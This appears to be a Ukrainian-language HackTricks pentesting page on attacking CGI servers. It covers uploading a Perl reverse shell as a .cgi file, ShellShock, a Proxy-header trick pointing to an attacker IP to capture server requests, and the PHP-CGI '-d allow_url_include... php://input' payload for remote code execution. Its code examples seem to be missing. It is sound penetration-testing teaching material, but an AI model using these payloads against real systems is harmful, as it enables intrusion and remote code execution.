CGI
Last updated
Last updated
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Поглибте свої знання в Mobile Security з 8kSec Academy. Опануйте безпеку iOS та Android через наші курси з самостійним навчанням та отримайте сертифікат:
CGI скрипти - це perl скрипти, тому, якщо ви скомпрометували сервер, який може виконувати .cgi скрипти, ви можете завантажити perl зворотний шелл (/usr/share/webshells/perl/perl-reverse-shell.pl
), змінити розширення з .pl на .cgi, надати права на виконання (chmod +x
) і доступ до зворотного шеллу з веб-браузера для його виконання. Для тестування на CGI вразливості рекомендується використовувати nikto -C all
(і всі плагіни)
ShellShock - це вразливість, яка впливає на широко використовувану Bash командну оболонку в Unix-подібних операційних системах. Вона націлена на можливість Bash виконувати команди, передані додатками. Вразливість полягає в маніпуляції змінними середовища, які є динамічними іменованими значеннями, що впливають на те, як процеси працюють на комп'ютері. Зловмисники можуть експлуатувати це, прикріплюючи шкідливий код до змінних середовища, який виконується при отриманні змінної. Це дозволяє зловмисникам потенційно скомпрометувати систему.
Експлуатуючи цю вразливість, сторінка може викидати помилку.
Ви можете знайти цю вразливість, помітивши, що використовується стара версія Apache та cgi_mod (з папкою cgi) або використовуючи nikto.
Більшість тестів базуються на ехо чогось і очікують, що ця строка буде повернена у веб-відповіді. Якщо ви вважаєте, що сторінка може бути вразливою, шукайте всі cgi сторінки та тестуйте їх.
Nmap
CGI створює змінну середовища для кожного заголовка в http запиті. Наприклад: "host:web.com" створюється як "HTTP_HOST"="web.com"
Оскільки змінна HTTP_PROXY може бути використана веб-сервером. Спробуйте надіслати заголовок, що містить: "Proxy: <IP_attacker>:<PORT>" і якщо сервер виконує будь-який запит під час сесії. Ви зможете захопити кожен запит, зроблений сервером.
В основному, якщо cgi активний, а php "старий" (<5.3.12 / < 5.4.2), ви можете виконати код. Щоб експлуатувати цю вразливість, вам потрібно отримати доступ до деякого PHP файлу веб-сервера без надсилання параметрів (особливо без надсилання символу "="). Тоді, щоб протестувати цю вразливість, ви можете отримати доступ, наприклад, до /index.php?-s
(зверніть увагу на -s
) і код програми з'явиться у відповіді.
Тоді, щоб отримати RCE, ви можете надіслати цей спеціальний запит: /?-d allow_url_include=1 -d auto_prepend_file=php://input
і PHP код для виконання в тілі запиту. Приклад:
Більше інформації про вразливість та можливі експлойти: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.
Поглибте свої знання в Mobile Security з 8kSec Academy. Опануйте безпеку iOS та Android через наші курси з самостійним навчанням та отримайте сертифікат:
Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)